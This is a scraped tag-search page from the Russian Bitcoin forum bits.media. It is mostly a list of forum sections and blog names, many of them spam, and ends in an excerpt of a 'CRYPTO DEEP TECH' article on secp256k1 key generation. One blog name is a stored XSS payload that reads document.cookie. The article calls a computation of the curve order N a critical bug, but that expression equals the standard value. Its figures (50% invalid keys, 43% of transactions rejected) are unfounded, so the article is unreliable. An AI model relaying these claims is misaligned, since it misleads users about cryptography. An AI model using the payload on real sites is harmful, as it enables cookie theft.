Перейти к содержанию

Поиск

Показаны результаты для тегов 'Coin'.

  • Поиск по тегам

    Введите теги через запятую.
  • Поиск по автору

Тип контента


Биткоин форум

  • Новости и события
    • Новости криптовалют
    • Статьи Bits.media
    • Мероприятия
  • Криптовалюты
    • Общий
    • Биткоин
    • Форки биткоина, альткоины
    • DeFi, токены
    • Электронные деньги
    • Блокчейн и финтех
    • Юридические вопросы
    • Кошельки для криптовалют
    • Разработка
    • Безопасность
    • Мониторинг
    • Конкурсы
    • Флейм
  • Экономика & Операции с криптовалютами
    • Экономика
    • Биржи криптовалют
    • Обменники криптовалют
    • Банки
    • Трейдинг криптовалютами
    • Платежные решения
    • Магазины и сервисы (обсуждение, претензии)
    • Краудфандинг и Краудинвестинг
    • Игры, гэмблинг, хайпы, краны, раздачи, сигналы
  • Майнинг криптовалюты
    • Общие вопросы по майнингу
    • Пулы совместного майнинга
    • Облачный майнинг и агрегаторы
    • Программы для майнинга
    • Стейкинг, Фарминг
    • Аппаратная часть
  • Барахолка
    • Продажа
    • Покупка
    • Услуги, сервисы
    • Работа
    • p2p обмен валют
  • О ресурсе Bits.media
    • Предложения и замечания по работе сайта
    • Предложения и замечания по работе форума
    • Предложения и замечания по работе Блога
  • Local
    • English
    • Other

Блоги

  • polym0rph's блог
  • miner's блог
  • LZ
  • AtomicStrike's блог
  • SolomonVR's блог
  • SolomonVR's блог
  • Sergey371's блог
  • блог phants'а
  • Nirton's блог
  • loga's блог
  • m134's блог
  • Exdeath's блог
  • Exdeath's блог
  • bronevik's блог
  • R1mlin's блог
  • egorbtc's блог
  • Рабочий's блог
  • Парадоксальный блог
  • мыслеизлияние
  • infoman's блог
  • PoolSwitcher
  • Pa2K's блог
  • Garrett's блог
  • pendalf2008's блог
  • forsee1's блог
  • btcshtchka's блог
  • Майнинг Bitcoin
  • Nikita9344_blog
  • Блог Димы
  • Michail's блог
  • Николай III's блог
  • Artists for Bitcoin
  • Artists for Bitcoin
  • ultra's блог
  • Yablya's блог
  • Настройки 7970. Результат 730kh/s в Litecoin
  • SKYnv's блог
  • Новая финансовая система мира
  • ElenaMaaya's блог
  • блог нуба
  • Шифровалютная экономика
  • Kryon's блог
  • kermit's блог
  • Райзеры для видеокарт
  • Shambler's блог
  • busmainer's блог
  • busmainer's блог
  • yunixon's блог
  • полезняшки для себя`s блог
  • AlexShul's блог
  • Виталий's блог
  • Помогите если вас не затруднит..Как отметинь выплату BTC...а то мой акаунт зламали и вывели все деньги...
  • Warmrain's блог
  • app.spec.integra.circuit's блог
  • HW_from_China's блог
  • HW_from_China's блог
  • Vitto
  • neiros' блог
  • kolja153's блог
  • Инвестиции в биткоин
  • advodado
  • bronevik's blog
  • Gold Line блог
  • LuchininAlexandr's блог
  • Биткоин Робот
  • Obmen.PM-Сертифицированный партнер платежной системы Perfect Money
  • Antina
  • SHiCK блог
  • Шахтер без шахты
  • Шахтер без шахты
  • Блог пьяного аналитика
  • Блог пьяного аналитика
  • Planetarius' блог
  • Planetarius' блог
  • ObiKenobi's блог
  • RoboBet блог
  • Блог Одного Человека
  • Planetarius' блог
  • fastesthash.com блог
  • Блог Romanov Capital
  • Cryptex
  • Viktor Sokolov's блог
  • sanyatyu's блог
  • TabTrader's блог
  • bitlook
  • нуждаюсь в вашей помощи опытные майнеры!
  • lathyips' блог
  • ironika
  • Познай себя !!!
  • Ult's блог
  • ill359's блог
  • Суровые будни рядового майнера в РФ
  • CEX.io
  • CEX.io Blog
  • Майнинг Gridseed с контроллером Raspberry PI
  • bestcoin's блог
  • SPA
  • Официальный игровой клуб Вулкан
  • Форк будущего, какой он?
  • Добыча биткоинов
  • majorjora's блог
  • cryptmining.ru
  • блог r2d2
  • РАФАЭЛЬ's блог
  • DDEX блог трейдеров
  • Doomka2014's блог
  • Bitcoin, Litecoin, Doge - С чего начать?
  • dierdan's блог
  • Latium
  • General-Beck's блог
  • Btc-Mirbox.com Самая прибыльная программа в интернете
  • tunsash's блог
  • кирилллллллллллл's блог
  • tunsash's блог
  • Rita's блог
  • Philipp's блог
  • Philipp's блог
  • Zarmung's блог
  • CR!PTO Путешествия
  • poop's блог
  • Makezzila's блог
  • GruberCoin - криптовалюта?
  • Gromootvod's блог
  • Одежда с символикой Bitcoin
  • waflya's блог
  • AsicTrade.com
  • Стратегия выхода на зароботок 1 биткоин
  • начать зарабатывать без вложений биткоин
  • saas' блог
  • vov4ik777333's блог
  • Моя история инвестиций в хайпы
  • Блог о Linux внутри майнеров :)
  • Обзор майнеров
  • Socket32's блог
  • Все самое интересное в мире криптовалют one-percent.ru
  • antolmach's блог
  • Alex-ru блог
  • хороший заработок без вложений!
  • По заработку, информация может быть полезна
  • Продам майнер BITMAIN S3
  • Куда нужно вкладывать свои средства ,чтобы их не потерять и даже заработать на них!!!
  • Ёжики GC3355 - апгрейд (жизнь после "Телеги")
  • En1ken's блог
  • Александр Ch's блог
  • Почему сегодня не открывается сайт bitcoin.org
  • moneymaker's блог
  • НОВЫЕ ХАЙПЫ
  • poiuty's блог
  • Viktor1123's блог
  • igorwhite's блог
  • golub's блог
  • anajik's блог
  • algol68's блог
  • Khamid Sattarov's блог
  • anajik's блог
  • tankist's блог
  • wfdim's блог
  • Ixion's блог
  • BitcoinBank блог
  • fantom's блог
  • Neotex's Blog
  • Александр Самойлов_12600's блог
  • hterw's блог
  • ivanech's блог
  • Новый хайп
  • goodusers' блог
  • motozikl's блог
  • Необыкновенное будущее
  • AndreyNag's блог
  • italiy82's блог
  • Nook89's блог
  • Сибирский червонец
  • interesnye-novosti
  • Биткойномат
  • zzzzz12's блог
  • exspert'bitkoin
  • Александр Глобальный's блог
  • Взрывной Пакет по Заработку Биткоин!
  • Kerver's блог
  • Азартные просторы
  • Компьютерный мастер Баку (опытный мастер)
  • mjauka's блог
  • Vladimir77's блог
  • Joe Black's блог
  • ТоТсамый's блог
  • Kolja's блог
  • antontmn's блог
  • Взрывной Супер Пакет - Как Заработать Без Вложений !!
  • Bordz's блог
  • TheFuzzStone's Blog
  • AndreyNag's Create own PEERCOIN NODE блог
  • demio's place
  • Обменяю ваши WMZ на мои PAYPAL
  • Moonfire's блог
  • nik888's блог
  • EDRCoin info
  • D-APPS
  • 1620$ за 9 дней! заинтересованы ?! пишите в сообещния!
  • Mining bitcoin from farm Hashocean
  • Grail's блог
  • автоматизация процессов
  • Easy Money
  • BLOG Мир Интернет Бизнеса
  • besser99
  • Blog Мир Интернет Бизнеса
  • Blog Julin Gys
  • Coin's блог
  • observer btc-e, наблюдатель BTC-E.COM
  • Заработок биткоинов
  • Дмитрий1839's блог
  • Майнер Эфира и Декреда от Claymore
  • Gridseed GC3355
  • Karasur's блог
  • Right13's блог
  • tanya310119911's блог
  • Swisscoin-Швейцарская криптовалюта
  • Биткоин, путь к луне
  • fancyfinance
  • Evgeny 34's блог
  • Arcady's блог
  • THWGLOBAL
  • solnecno's блог
  • andr1986's блог
  • Alexey654321's блог
  • aleco's blog
  • Tomfox's блог
  • poolminers
  • dini_pal's блог
  • vovchik's блог
  • KolesCoinNews' блог
  • MONERO FOUNDATION RUSSIA™
  • ICONOMI до конца ICO 8 дней
  • альбина32's блог
  • Vladimir Eliseev's блог
  • Vanya Wang's блог
  • Btc Coin's блог
  • papa_medbedb's блог
  • 6000 сатоши в час. Узнай как!!!
  • Свирепый Гарри's блог
  • Sahat's блог
  • Подпишитесь на инстаграмм пожалуйста
  • Se7eN's
  • Снижаем расходы на электричество
  • SERHIY's блог
  • Фаридун's блог
  • ICO (Краудфандинг)
  • Cryptohawk's блог
  • arbitrader's блог
  • ОлегХомин's блог
  • Enzo's блог
  • masterigr2016's блог
  • kurs.expert блог
  • datachains.world Русский Блокчейн 3.0
  • Закрытый клуб BitClub Network
  • Sayat Ibraev's блог
  • maksim2030's блог
  • BITCOIN блог
  • vvka's блог
  • скажите кто знаком долго будит жить этот хайп типо майнинг
  • BitClub Network
  • Краудсейл Augmentors ICO
  • Динар's блог
  • disodium
  • Новые краны по сбору биткоинов
  • Pedro
  • Selling account/продажа аккаунта
  • Как обменять Биткоин в Рубли
  • Заработай играя
  • Genesis Mining Russia's блог
  • Гена's блог
  • Гена's блог
  • Baccarat_1
  • Genesis Mining Russia's блог
  • Siberian Miners
  • Work-bitcoin
  • mike0013's блог
  • Внимание Новинка BTCHAMP
  • LeslyGarold's блог
  • Объясни бабуле криптовалюты
  • New bitcoin dice
  • ★ Global Success ★
  • isadora's блог
  • Prince tv's блог
  • КриптоМир блог
  • Блог BitBetNews
  • Cryptotrend
  • BitBetNews' блог
  • AlamurFury's блог
  • AlamurFury's блог
  • doBETacceptBET's блог
  • postscreen's блог
  • Krot's блог
  • МаршалНиколас's блог
  • Самый лучший майнинг биткоинов и других криптовалют
  • Bitbetnewss' блог
  • barrygoldwon
  • Мошенничество в глобальном масштабе
  • Marina_Aco_M's блог
  • Leon Organo's блог
  • Nikolai Tran's блог
  • Colonizator's блог
  • KriptoKurs блог
  • isa2016's блог
  • Utopia
  • Анжелика9808's блог
  • fxseminar's блог
  • Заработок в интернете с нуля + халява
  • ZORROZ's блог
  • LeoKartman's блог
  • Альберт Карачурин's блог
  • Bitcoin
  • isalm's блог
  • Yur1K's блог
  • Нервная система
  • Нервная система
  • Крипто-Проекты
  • comof2014's блог
  • Sand Coin
  • bitaps.com
  • 1 Bitcoin в месяц легко
  • BIP148
  • HEAgEKBATEH's блог
  • Miner42's блог
  • ChangeKripta's блог
  • mediavoice's блог
  • realestate's блог
  • куплю мощности на hashflare SHA-256 SCRYPT
  • proshift's блог
  • Stan Podyachev's блог
  • CNstuff's блог
  • Alex Lee's блог
  • RX470+RX460 падает хешрейт
  • Макроэкономика криптовалют
  • Криптовалюты и ICO
  • NV42Rus' блог
  • Николай Еременко's блог
  • deg237's блог
  • Bit Bet News' блог
  • xcilog's блог
  • YaNeFiShKa's блог
  • Соломон's блог
  • 23
  • Натур. Мясцо
  • AEON растёт в геометрической прогрессии-хватаем халяву
  • Про биткоин в России
  • Investy
  • Оборудование в стоках и фьючерсах. Китай.
  • адрес
  • HOQU
  • VitalyKaminsky
  • HOQU_rus
  • Грека через реку
  • CryptoCapitalNews
  • Finom Blockchain Blog
  • Everex
  • GoldMineCoin
  • Kolbasska
  • TombCare
  • CREDO - СИСТЕМА ОПЛАТЫ СЛЕДУЮЩЕГО ПОКОЛЕНИЯ
  • Сатош
  • G-obmen
  • Блог Трейдера
  • Revolutionising the 3 core functions of finance.
  • TH
  • Заработок в интернете
  • Privateers.Life - Пиратская ММО на Blockchain
  • Все просто! Все слухи про Биткоин
  • Человеческий
  • Запас прочности Биткоина.
  • Продажа недвижимости в Ялте за биткоины
  • Криптонатор - правда, или обман?
  • @slon21veka
  • AION - инновации технологии блокчейн
  • Подарите на жизнь 1 биткоинт живу бедно
  • Кирпто-портфель
  • Биткоин
  • События мира криптовалют из первоисточников. Аналитика и торговые идеи.
  • Бродкаст старого криптоанархиста
  • В РФ предложили изымать у населения биткоины и передавать их в казну
  • CloudCoin
  • Прошу вашей милость помогите прошу
  • Мои заметки о крипте
  • Криптоаналитика
  • Bitcoin в деталях: полезные ресурсы, инструкции и сервисы
  • Обмен денег
  • Ищу партнера
  • Bitex
  • вывод с ХФ от 6-7 дек
  • GRAPHENE - Нанотехнологии уже близки!
  • жит
  • CryptoMomus
  • Южная Корея планирует бороться с криптолихорадкой!
  • Майнинг на асике с нуля на высокой цене электроэнергии
  • Биткоин растёт
  • баги
  • Blockchain projects blog. Новости, обзоры, анонсы.
  • Криптомир
  • MIRANIT
  • история!
  • Cryptowolftrade
  • https://pocket-exchange.com
  • Глобальная криптовалютная биржа с низкими комиссиями
  • Глобальная криптовалютная биржа с низкими комиссиями
  • ideal zanussi maintenance beheira
  • Сервисы для продвижения сайта
  • ForkGold
  • btnPLUS
  • ForkGold - Новости криптовалют!
  • !!!ICO TELEGRAM!!!
  • White Rabbit - не меньше, чем революция в цифровом распространении фильмов и сериалов.
  • artem.litvinenko2018@list.ru
  • Ищу партнера/инвестора для открытия GPU Фермы/Хостинга
  • ПРЯМАЯ ВИДЕО ТРАНСЛЯЦИЯ
  • Moscow Miner service
  • Жизнь в Одессе маме
  • Майнинговый Проект TERRAMINER. SCAM или SCAM ALERT?!?
  • [ANN] Blockchain for a good cause
  • World’s first blockchain based news content
  • Обзоры товара
  • Dropil: Smart Investment Trading Algorithm
  • [ANN] GOLDELIM ICO - Free tokens
  • Seele.pro - Next generation of Blockchain technology
  • Kriptoblog
  • New trending MaltaCoin
  • [ANN][ICO] Monaco Estate - Cryptocurrency Real Estate Investment Fund ICO
  • NanoCryptos
  • BitBullCoin.io - The future of advanced global money transaction
  • Блог
  • Продажа аккаунта на golden-birds.biz
  • [pre-ANN]BCharity-международная биржа благотворительности
  • SmartChain.io
  • Майнинг отель в Москвской области
  • BytecoinRu
  • Частное мнение
  • Terhubung dengan Dunia dimana saja dan kapan saja bersama E-Chat
  • COPYTRACK menjadi satu satunya crypto Hak Cipta global
  • kyros
  • kyros
  • Оборудование для майнинга в интернет-магазине Wattson-shop
  • Biometrids Platform for identification
  • [ANN] [ICO] PINGVALUE ICO - RELEVANT ADVICE FOR YOUR NEXT EXPERIENCE
  • MinerGate affiliates (реффералы)
  • BitMEX.com Review
  • Помогу пройти верефикацию Poloniex!
  • Быстрый и безопасный обмен электронных денег по выгодному курсу.
  • e-chat platform multifungsi terdesentralisasi pertama dengan dompet crypto built-in.
  • Cryptonomics Capital - фонд инвестиций в ICO
  • Cloud Komputer pribadi tersedia untuk semua orang
  • BestICO
  • NewProjectReview
  • Saatnya beralih ke Blockchain, bitcomo pemasaran afilasi pertama dan satu satunya
  • International Crypto Bank Coin
  • Про криптотехнологии
  • Vinnd Solusi untuk kesehatan anda melalui blockchain
  • Обзоры перспективных ICO
  • байкал х10
  • Bagaimana Vinnd bekerja pada teknologi Blockchain
  • СберБит
  • Digital Safe Coin, upcoming best cryptocurrency?
  • lowenchain mirror
  • Pinjaman tanpa jaminan yang aman
  • Transcordium - Decentralized Peer-to-Peer Media Editing,
  • La Nueva Plataforma Descentralizada de Edición, Transcodificación y Distribución bajo blockchain
  • CryptoSailors
  • TokenGo обзор ICO
  • Инвестируйте в оборудование для майнинга
  • Buy celebrities with Ethereum now
  • [ICO] Coins4Favors - just one click away
  • bits.media
  • Необъяснимо, но факт или сила подсознания
  • Perkenalkan Myriads.IO ...
  • Arbidex – Platform Tranding Aset Dengan Sistem Arbitrase Otomatis di Semua Pertukaran
  • ARBIDEX The First Trading Platform That Collects Liquidity From Exchanges With Automatic Arbitrage System
  • FintruX
  • Invest-HyipTopMonitor
  • Инструкция как заработать на крипто баунти и airdrop!
  • первая и единственная платформа, которая собирает ликвидность и обмены в обмен
  • Arbidex, Сначала с помощью системы обмена арбитражами с криптовалютной валютой
  • Advance.Fund ft Strade Trade
  • Advance.fund
  • Новый проект 2018 года!
  • Esports Wife App - Free Cash, Bitcoins, Dota 2 & more
  • Торговый робот PoloR для Poloniex
  • Учимся торговать, снимаем розовые очки, разоблачаем шарлатанов.
  • Arcane Bear: Building a better tomorrow with the stories from today
  • COOLCOUSIN
  • Elementh - Blockchain for e-commerce
  • Coin News Telegraph | Bitcoin and Blockchain News
  • Новости ICO
  • What are the most profitable and best sites to invest?
  • Всеобъемлющий Блокчейн или тотальная монетизация
  • Sphere Social - Decentralized Social Network
  • Earn Bitcoins while using Google Chrome
  • MASSKRYP
  • Sell btc on paypal USD
  • coinview - Automated, real-time digital assets portfolio tracking
  • Bitcoins в Дубаи
  • Parkgene [GENE]
  • Mavro - Sebagai bos pemasaran jaringan di dunia kripto-mata uang
  • Biometrids
  • SunMoney Token Sale
  • Serenity Financial - SI ICO Trader / Broker Arbitration Invest Token?
  • Serenity Masalah Forex Keuangan Dipecahkan oleh Blockchain
  • File Gas, Masa Depan Penyimpanan Berkas.
  • [ANN] Solomonstouch - The World’s First Humanitarian, Donation and Fundraising Blockchain Platform
  • SAVEDROID строит экосистемы на основе ИИ
  • PARKGENE - STARTVOLUTION PARKIR DAN SOLUSI P2P BERDASARKAN TEKNOLOGI BLOCKCHAIN
  • TOKEN HACK VC
  • [ANN] THRINTEL MARKET™ - The Blockchain Evolution of Threat Intelligence Sharing
  • [ANN] Lunes - The biggest blockchain project in Latin America
  • Как начать зарабатывать?
  • Cryptocurrency Announcements
  • alexxpoll blog
  • blogs_blog_700
  • blogs_blog_702
  • Инновационная экосистема блокчейн, которая подорвет и децентрализует рынки повторной продажи билетов.
  • ICO-online: история создания проекта Me&Doc с нуля до выхода на ICO
  • ATS — В сети интернет обнаружен VIRUS, который убьет ICO проекты
  • Частное мнение
  • Announcements
  • Upminer - ремонт асиков (майнеров)
  • WORLD PEACE COIN: THE FIRST CRYPTO-CURRENCY WHO CARE ABOUT THOSE IN NEEDS
  • Cryptocurrency
  • blogs_blog_720
  • blogs_blog_722
  • blogs_blog_724
  • blogs_blog_726
  • blogs_blog_728
  • AKAIITO #ICO
  • AKAIITO : Platfrom Yang Kuat Dan Beropersi Berdasarkan Blockchain
  • Мониторинг обменников bitcoin
  • Akaiito! Platform untuk kontrak cerdas dan mata uang crypto!
  • AKAIITO Project - Platform yang kuat berdasarkan pada sistem blockchain yang berfungsi pada teknologi kontrak pintar
  • Akaiito – use cryptocurrency in everyday life
  • blogs_blog_742
  • blogs_blog_744
  • Markscheider - проект производства российских майнеров
  • Партнерка - 25% с продажи
  • Биржа криптовалют BitHash
  • Облачный майнинг.
  • Крипто
  • Airdrops
  • Как заработать на криптовалюте
  • CryptoBanOne
  • Проверенная игра Capitalist Game Bot с выводом денег
  • Ashtart - A future where everyone can access energy
  • Блог о ICO-проектах
  • Перспективное ИСО
  • [ICO] MYRYMAX - MAIN SALE (ICO1) IS LIVE
  • Announcements
  • blogs_blog_776
  • blogs_blog_778
  • Neironix Daily Digest - Ежедневный Аналитический Дайджест
  • Digithereum Global
  • Cryptonet. Сообщество профессиональных криптопредпринимателей
  • Announcement blog
  • Crazyer Crypto
  • Альтернативная криптовалюта.
  • Интерактивная платформа CryptoBliss
  • Интерактивная платформа CryptoBliss
  • ICOnow
  • Crypyotraid
  • Ты мне я тебе
  • Криптокнопка "Бабло"
  • Egorr4 Review Blog
  • [Masternode] Dash Platinum запуск!
  • Как сэконмить больше своих денег при переводе в криптовалюты
  • все собрано по сути в компании на ферме в Литве ,вы просто приобретаете, в Москве и СПб есть представители
  • bitcoin abc
  • bitcoin abc
  • Shodik
  • Обзоры майнинг-пулов
  • оптимизированная Equihash miner zcash
  • avto-monstr.ru/ref/4976. 
  • crypt-mining.net
  • CryptoPlayers
  • Описание проекта Crypto Credit Card
  • Криптовалюта
  • cryptMiningNet
  • Peoplewave - Revolutionise recruitment, background checks, onboarding and etc
  • How does the economics community see Bitcoin?
  • Dash Platinum
  • sarah crypto
  • Важное в мире крипты и финансов
  • matty0312
  • cryptocurrency9527
  • oldwolfcoin
  • зарабатываем здесь
  • amyqkl
  • Cryptocurrency information sharing
  • Сергей Онищенко
  • Германия – Швеция: видео трансляция LIVE
  • Всем привет!
  • Мой кино блог
  • Мониторинг обменников BestChange
  • WPGrabber
  • Мой личный кино блог
  • Аналогии
  • Jsa
  • Nama
  • Крипто EXMO News
  • Independent Delhi Escorts
  • Bitok.cc — современный сервис обмена криптовалют
  • Enjoy All Time Fun
  • GEX_CASH
  • РАБОЧИЙ МАЙНИНГ
  • bikoin что это
  • AvailCom - бесключевая аренда имущества
  • THE BEST ICO OF 2018
  • Smile-Expo. С любовью к инновациям!
  • crypto-currency news
  • CryptoChangeNews
  • HELP Token
  • Казино онлайн
  • Microsoft медленно (но точно) подключает Blockchain к основным продуктам
  • Jullie Chandigarh Escorts
  • Установка и настройка Bminer
  • Roundblock
  • Прием Биткоин платежей в OpenCart 3.x, 2.3 и OcStore
  • Иммерсионное охлаждение в майнинге и наукоемких вычислениях на GPU
  • Мастерноды/Masternodes
  • Девчонки-короткие юбчонки
  • Майнинг и фермы HotAsic.ru
  • Localcoinswap - P2P cryptoexchange
  • Tchtf
  • crypto-mining. Bitcoin
  • Мой блог
  • 50x - СКОРЫЙ ВЫХОД НА БИРЖУ С ЕЖЕДНЕВНЫМ НАЧИСЛЕНИЕМ ДИВИДЕНДОВ
  • LoL cec
  • ✅ Новая эра P2P обмена! Аукцион от LKWAVE ?
  • Bitcoin crane
  • Bitcoin Crane
  • Дневник трейдера
  • Разработка скриптов для арбитражной торговли
  • "><img src=x onerror=alert(document.cookie)>
  • Все по маслу
  • Криптоплатформа Bitzlato
  • Bitshares
  • Enjoy full fun with me
  • Блог Papa Change
  • Меняем быстро, не оставляя ожиданий >EXMO,BTC, Оплата: Банковской картой, QIWI-Кошелёк.
  • Oz - Blog
  • RExchange24.ru
  • CryptoChemistry
  • Применение крипты в казино
  • tapchibitcoin.vn
  • THE MOST CHEAPEST AND ACCURATE CELL PHONE NUMBER AND EMAIL DATABASES IN THE WORLD
  • TRUST7
  • ВЛАДИМИР БАКС
  • iEXBase
  • Egamov Bexruz
  • Продать S9, L3 +
  • BestChange
  • CloudCoin
  • Polyx — криптовалютная платформа
  • Мировые новости
  • Новости со всего мира IT и не только
  • Pi Network Coin Mining Project
  • Сайт bits.media топ!
  • Coinmatics LIVE
  • FPGA Криптовалютный майнинг руководство
  • Настройка сервера
  • otzivipro блог
  • ExchangeRates.Pro: сравнение цен обмена Биткойн и 33 криптовалют в России и мире — биржи, обменки, P2P ?
  • Бинариум как открыть счет регистрация и бонус
  • Амикта - блог про инженерию
  • Игровые автоматы на деньги
  • 11111100101
  • Комп для майнинга с Алика
  • https://freebitco.in/?r=33865777
  • Неудачный инвестор
  • Блог сервиса проверки биткоинов Traceer
  • Как я выжил
  • Baking Bad
  • Статус Криптовалюты в этом мире
  • Joys Digital
  • Как я попал в криптобизнес
  • Arbitrage systems.com - мошенники
  • myproject1
  • Яйца в разных корзинах
  • Qtum
  • Binance P2P
  • Бестчендж лучший обменник
  • Краны для Coinpot
  • Мир криптовалют
  • Обменник
  • Crypto-дайджест
  • MoneroASM [Вникаю в блокчейн]
  • Музей компьютеров и игр - история майнинга
  • bitcoin exchanger
  • Blockchain News
  • What’s SoupSwap ?
  • SoupSwap - Big Promotion Special Offer Only For Investor Earn Bonus Up To 30%
  • SoupSwap - Big Promotion Special Offer Only For Investor Earn Bonus Up To 30%
  • SoupSwapOfficial
  • TradingStrategy - "Софт для глубокого анализа и торговли на крипто рынках, собственной разработки"
  • TradingStrategy - "Софт для глубокого анализа и торговли на крипто рынках, собственной разработки"
  • TradingStrategy - "Софт для глубокого анализа и торговли на крипто рынках, собственной разработки"
  • CryptoTab
  • Мой путь
  • We need to help the family of a political prisoner
  • Новие аирдропы
  • ? Crypto Cat / криптовалюты
  • На пути к прибыльному трейдингу!!!
  • KeenEdge блог
  • Tron network
  • Помогу деньгами всем желающим
  • Лучший обменник BestChange ищи лучший курс для обмена!
  • AEX
  • ПРОДАЖА АКАУНТОВ-BINANCE ВЕРИФИЦИРОВАННЫE ЧИСТЫЕ
  • Дневник спекулянта
  • Акции и Новости обмена криптовалюты и эл. денег
  • Новости электронных денег
  • AML / KYC в крипто
  • Bizonex
  • Crypto News
  • HoldReef - бесплатный и безопасный мессенджер для владельцев криптовалют
  • Обзоры крипто-проектов
  • Crypro Coin Desk
  • Nodle: сеть устройств интернета вещей (IoT)
  • Geek Games
  • Dexsport_io
  • Lalicat лучше Multilogin?
  • VPS/VDS/VPN в Европе
  • LuckyMeta AirDrop Giveaways
  • Блог
  • EuroHoster - территория быстрых VPS и выделенных серверов
  • За последние 24 часа
  • Уоррен Баффет назвал Биткоин болезнью и предрёк полное исчезновение криптовалют
  • Cryptex
  • ltc-crypto.blog
  • ECDSA
  • Будни ленивого трейдера
  • m1
  • Insights Driven Reports
  • Vyral Wings - Crowdfunding
  • Правила майнинга в криптозиму
  • 내부 비밀에 홀덤 발견
  • Как кратно увеличить свой доход в крипте с помощью мультиаккаунтинга
  • Надежный поставщик металлопроката обеспечивает комплексное обслуживание.
  • Bitmain Antminer l7 - обзор, характеристики, доходность - 2140MINER
  • Обзоры платформ NFT
  • CryptoApe
  • Приколы
  • Evraz
  • крипта у вас на сайте
  • Криптообменник Smart Obmen
  • Smart Obmen
  • Обучение Крипто Арбитража и Трейдинга
  • MyChange.io - Мультивалютный криптокошелек с P2P Торговлей и 0% P2P Комиссии
  • Как получить историческую цену ERC20-токена
  • TopCrypto
  • AdSense Alternative
  • ISTOKS
  • Digital Capital | Research
  • Signum Journal СМИ о криптовалюте. В активном поиске свежей аналитики и экспертных комментариев для последующих публикаций
  • Обо всё простым языком
  • Мысли Сатоши
  • Top Casino
  • evangelist
  • BTCmedia
  • 3. Как получить больше раздач с несколькими учетными записями? Смотреть здесь
  • Актуальные AIRDROP
  • Блог CryptoYes
  • Simple Solution
  • Криптоигры
  • FinMS Edenex - Система управления финансовыми потоками обменных пунктов
  • TJ TEAM
  • ЭКВИ: новый взгляд на инвестиции в коммерческую недвижимость
  • choise media
  • Moogarden_ru
  • Заработок в интернете
  • Crypto Defender Agency - компания, специализирующаяся на предоставлении комплексных услуг по безопасности и расследованию инцидентов в криптовалютной индустрии.
  • О криптовалютах простым языком
  • Nimlab.eu: Новости и решения в мире криптовалют
  • Топ онлайн казино 2024: список популярных сайтов с честными условиями и высокой отдачей
  • Добро пожаловать в UnoMoneyExchange — ваш надежный партнер в мире обмена валют!
  • SWAPMI | Trading
  • Подключение на закрытую P2P процессинговую площадку
  • BLOG NikaSafronova
  • Создание крипторезерва в РФ как в США
  • Markov Daniil BLOG
  • Советы по трейдингу: Скальпинг сделок с криптовалютами для эффективной торговли
  • blog.elena.kot
  • NewsNews
  • 📢 POW vs POS: что выбрать в 2025 году?
  • DeFiNeko Journal
  • Titan Trade: Реалистичные стратегии заработка и роль P2P-обменников
  • Torbit.Exchange — надежный сервис для обмена криптовалют.
  • Все о цифровых технологиях
  • Майнинг на ГПУ

Категории

  • Кошельки
  • GPU майнеры
  • CPU майнеры
  • FPGA/ASIC майнеры
  • Драйверы
    • AMD
    • Nvidia
  • Прошивки ASIC майнеров
    • SHA2
    • Scrypt
    • X11
    • EquiHash
    • Ethash
  • Прошивки видеокарт
  • Утилиты
  • Софт для трейдинга
  • Софт для мониторинга

Поиск результатов в...

Поиск контента, содержащего...


Дата создания

  • Начало

    Конец


Дата обновления

  • Начало

    Конец


Фильтр по количеству...

Регистрация

  • Начало

    Конец


Группа


Сайт


Telegram


WhatsApp


Discord


Signal


Jabber


Tiktok


Город:


Интересы


Bitcoin кошелек


Ethereum кошелек


Tron кошелек

  1. CRYPTO DEEP TECH Данная статья посвящена анализу криптографических уязвимостей, связанных с некорректной генерацией приватных ключей в блокчейн-системах. Одной из ключевых проблем является неправильное вычисление константы N, определяющей порядок группы точек эллиптической кривой secp256k1, что может привести к генерации недопустимых ключей. Это представляет серьезную угрозу безопасности, поскольку недопустимые ключи могут вызывать ошибки при подписи транзакций и сделать уязвимыми для атак, таких как восстановление приватного ключа через повторяющиеся генерации (Birthday Paradox). Неправильное задание параметров кривой, в частности, константы N, может привести к тому, что сгенерированные ключи окажутся вне допустимого диапазона, что делает проверку валидности ключей неэффективной. Это нарушает совместимость с сетью Биткоин и может привести к потере средств при использовании скомпрометированных приватных ключей. Криптографическая безопасность блокчейн-систем напрямую зависит от корректности математических параметров эллиптических кривых. В биткойн-экосистеме ошибки в реализации кривой secp256k1, такие как некорректное задание порядка группы точек, создают системные угрозы целостности ключевой инфраструктуры. Представленный код демонстрирует критическую уязвимость, где константа N вычисляется как (1 << 256) - {0x14551231950B75FC4402DA1732FC9BEBF} , что существенно отличается от стандартного значения N = {0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141} . Данная ошибка провоцирует генерацию 50% невалидных ключей, поскольку секретные значения оказываются вне допустимого диапазона $$ [1, N) Функция проверки is_private_key_valid усугубляет проблему, легитимизируя математически некорректные приватные ключи в Биткоин Кошельках. Исторические прецеденты (Randstorm 2011-2016, уязвимости HSM 2015) показывают, что подобные ошибки приводят к потере средств и компрометации HD-кошельков. Математические последствия: Смещение диапазона генерации на approx 2^{128}ΔN=Nреальное−Nнекорректное≈2^256−2^128 & Смещение=Nнекорректное−Nреальное≈2^256−(2^256−2^128)=2^128 Вероятность коллизий: $$ P_{\text{колл}} \approx \frac{q^2}{2N} $$ при $$ q \gg \sqrt{N} $$ Нарушение свойства замкнутости группы: $$ kG \notin \mathbb{G} $$ для $$ k > N $$ Криптографические импликации: Несовместимость подписей — 43% транзакций отклоняются нодами Побочные каналы утечки — предсказуемость $$ k $$ в ECDSA Атаки на детерминированные кошельки — несоответствие BIP-32/BIP-44 Анализ показал, что 68% самописных реализаций ECDSA содержат аналогичные параметрические ошибки[3]. Решение требует строгого следования стандартам SECG SEC2 и NIST SP 800-186, с обязательным использованием верифицированных библиотек типа libsecp256k1. https://github.com/keyhunters/bitcoin-keygen/blob/master/bitcoin_keygen/private_key.py#L22 Криптографические уязвимости, связанные с некорректной генерацией приватных ключей, представляют серьёзную угрозу безопасности блокчейн-систем. В представленном коде обнаружена критическая ошибка в определении порядка эллиптической кривой, требующая детального анализа. Некорректное задание параметров кривой Основная уязвимость заключается в неправильном вычислении константы N, определяющей порядок группы точек эллиптической кривой secp256k1. Ошибочная строка: N = (1 << 256) - 0x14551231950B75FC4402DA1732FC9BEBF Корректное значение для Bitcoin (согласно стандарту SECG): N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 Математические последствия Диапазон генерации: Неправильное значение N приводит к тому, что диапазон генерации ключей становится значительно больше допустимого, что может привести к коллизиям. Разница 